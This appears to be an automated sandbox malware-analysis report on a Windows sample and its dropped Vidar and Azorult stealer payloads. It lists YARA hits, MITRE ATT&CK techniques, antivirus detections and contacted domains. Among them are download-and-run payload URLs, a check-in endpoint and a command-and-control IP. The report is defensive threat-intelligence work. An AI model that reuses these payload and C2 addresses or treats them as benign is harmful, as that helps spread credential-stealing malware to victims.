Source: Yara match	File source: 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7624, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7644, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AaIo4VGgvO.exe	100%	Avira	HEUR/AGEN.1313019
AaIo4VGgvO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	74%	ReversingLabs	Win32.Spyware.Vidar
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe	39%	ReversingLabs	Win32.Packed.Generic
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult

Source	Detection	Scanner	Label
http://schemas.micro	0%	URL Reputation	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
https://95.217.9.149a	0%	Avira URL Cloud	safe
https://95.217.9.149/=::=::	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://95.217.9.149/VL	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truea	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exeU	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637n	0%	Avira URL Cloud	safe
https://95.217.9.1490.5938.132	0%	Avira URL Cloud	safe
https://95.217.9.149/DUq	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
https://95.217.9.149/xUU	0%	Avira URL Cloud	safe
https://95.217.9.149/)U	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true=	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://95.217.9.149	0%	Avira URL Cloud	safe
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true?	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dllT#	0%	Avira URL Cloud	safe
https://95.217.9.149JEGDA	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sdfjhuz.com	187.228.55.117	true	true	unknown
cajgtus.com	189.195.132.134	true	true	unknown
steamcommunity.com	104.67.208.180	true	false	high
api.2ip.ua	172.67.139.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://95.217.9.149/	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://player.vimeo.com	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=-zPAhzrcAAqx&l=e	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json/	AaIo4VGgvO.exe, 00000018.00000002.2106582703.0000000000758000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888l	build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truea	AaIo4VGgvO.exe, 00000004.00000002.2219862422.00000000008C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637n	AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/VL	build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exeU	AaIo4VGgvO.exe, 00000004.00000002.2220967832.00000000030B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=SPpMitTYp6ku&l=en	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888J	build2.exe, 00000008.00000002.1875287836.000000000085B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/n	AaIo4VGgvO.exe, 00000004.00000003.1680803884.000000000091D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219862422.000000000091B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=1_BxDGVvfXwv&am	build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.reddit.com/	AaIo4VGgvO.exe, 00000004.00000003.1749545999.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://steam.tv/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=Kg_v7CMM	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/=::=::	build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://95.217.9.149a	build2.exe, 00000008.00000002.1874465516.0000000000558000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonZ	AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=BMF068jICwP9&	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.1490.5938.132	build2.exe, 00000008.00000002.1874465516.00000000005F1000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://store.steampowered.com/privacy_agreement/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonP	AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/)U	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/points/shop/	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonm	AaIo4VGgvO.exe, 00000001.00000002.1668074663.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsono	AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exe$run	AaIo4VGgvO.exe, 00000004.00000003.2189412330.000000000092C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://95.217.9.149/DUq	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	build2.exe, 00000008.00000003.1873544480.000000000092B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/R	AaIo4VGgvO.exe, 00000006.00000002.4109983935.0000000000598000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199673019888/badges	build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/	build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsona	AaIo4VGgvO.exe, 0000000C.00000002.1844090268.0000000000748000.00000004.00000020.00020000.00000000.sdmp	false		high
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	false		high
